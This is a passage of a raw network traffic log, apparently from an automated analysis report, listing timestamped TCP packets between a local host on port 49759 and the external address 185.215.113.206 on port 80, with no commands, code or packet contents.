Dec 19, 2024 07:57:21.031861067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.031927109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.031965971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.032021046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.032736063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.032812119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.032871008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.032932997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.033618927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.033689976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.033730030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.033787966 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.034473896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.034543037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.034632921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.034693003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.035342932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.035408974 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.035449028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.035505056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.036679983 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.036752939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.036849976 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.036910057 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.037115097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.037177086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.037344933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.037408113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.038088083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.038100958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.038156033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.038892031 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.038954020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.038958073 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.039006948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.039752960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.039824009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.039833069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.039885998 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.040689945 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.040704012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.040757895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.041465044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.041532040 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.041577101 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.041629076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.042320013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.042387009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.042396069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.042444944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.043212891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.043282986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.043333054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.043411016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.044162035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.044176102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.044228077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.045084953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.045101881 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.045161963 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.045855045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.045917034 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.045969009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.046020031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.046838999 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.046897888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.046943903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.046993017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.047653913 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.047667027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.047714949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.048633099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.048645973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.048696995 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.049452066 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.049464941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.049514055 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.050354958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.050416946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.051059008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.051073074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.051120043 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.051347971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.051412106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.051983118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.052038908 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.052073956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.052119017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.052804947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.052869081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.053672075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.053683996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.053733110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.053818941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.053864956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.054682970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.054696083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.054749012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.055424929 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.055480957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.055625916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.055671930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.056396008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.056407928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.056452990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.057261944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.057275057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.057326078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.058136940 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.058149099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.058197975 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.059019089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.059031963 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.059078932 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.059884071 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.059895992 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.059943914 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.060748100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.060760021 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.060798883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.061578035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.061590910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.061633110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.062448025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.062505960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.063224077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.063235044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.063282013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.209531069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.209738970 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.209975004 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.210036993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.210057974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.210069895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.210098028 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.210129976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.210819960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.210901976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.211318970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.211394072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.211849928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.211862087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.211900949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.212538004 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.212587118 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.212613106 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.212656021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.213479996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.213498116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.213538885 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.214430094 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.214442015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.214483023 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.215200901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.215245962 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.216069937 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.216082096 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.216126919 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.216259956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.216310978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.216996908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.217046976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.217149019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.217194080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.217804909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.217853069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.217901945 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.217942953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.218699932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.218712091 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.218748093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.219530106 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.219582081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.220280886 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.220330954 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.220405102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.220453978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.220510960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.220558882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.221441984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.221453905 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.221496105 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.222242117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.222254992 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.222295046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.223133087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.223145008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.223189116 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.224004984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.224018097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.224056959 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.224770069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.224823952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.224890947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.224944115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.225678921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.225733042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.225830078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.225883961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.226511955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.226561069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.226600885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.226644993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.227504015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.227515936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.227571964 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.228338957 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.228389978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.228415012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.228457928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.229159117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.229212046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.229373932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.229424000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.230089903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.230103016 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.230153084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.230901957 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.230958939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.230994940 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.231048107 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.231847048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.231859922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.231904030 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.232652903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.232757092 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.233045101 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.233104944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.233503103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.233556986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.233721972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.233774900 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.234421968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.234472036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.234472990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.234517097 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.235343933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.235364914 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.235404015 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.235426903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.236176014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.236232996 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.236253977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.236296892 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.237051964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.237111092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.237112045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.237164021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.237921000 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.237983942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.237993956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.238039017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.238780975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.238845110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.238867044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.238913059 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.239746094 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.239778996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.239805937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.239826918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.240509033 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.240573883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.240601063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.240647078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.241400003 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.241455078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.241488934 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.241538048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.242302895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.242366076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.242371082 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.242408991 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.243123055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.243181944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.243206978 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.243262053 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.244033098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.244093895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.244103909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.244169950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.244879961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.244893074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.244946957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.245718956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.245783091 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.245954990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.246016979 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.246643066 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.246706963 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.246751070 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.246808052 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.247522116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.247584105 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.247629881 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.247695923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.248384953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.248436928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.248442888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.248487949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.249289989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.249334097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.249353886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.249380112 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.250308990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.250371933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.250523090 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.250585079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.251063108 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.251123905 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.251132965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.251184940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.252115011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.252129078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.252182007 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.252800941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.252820015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.252866983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.252893925 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.253588915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.253673077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.253762960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.253849030 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.254636049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.254698038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.254741907 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.254802942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.255331993 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.255390882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.401511908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.401531935 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.401618958 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.401891947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.401932955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.401968956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.402004957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.402695894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.402751923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.402990103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.403040886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.403094053 CET	80	49759	185.215.113.206	192.168.2.4
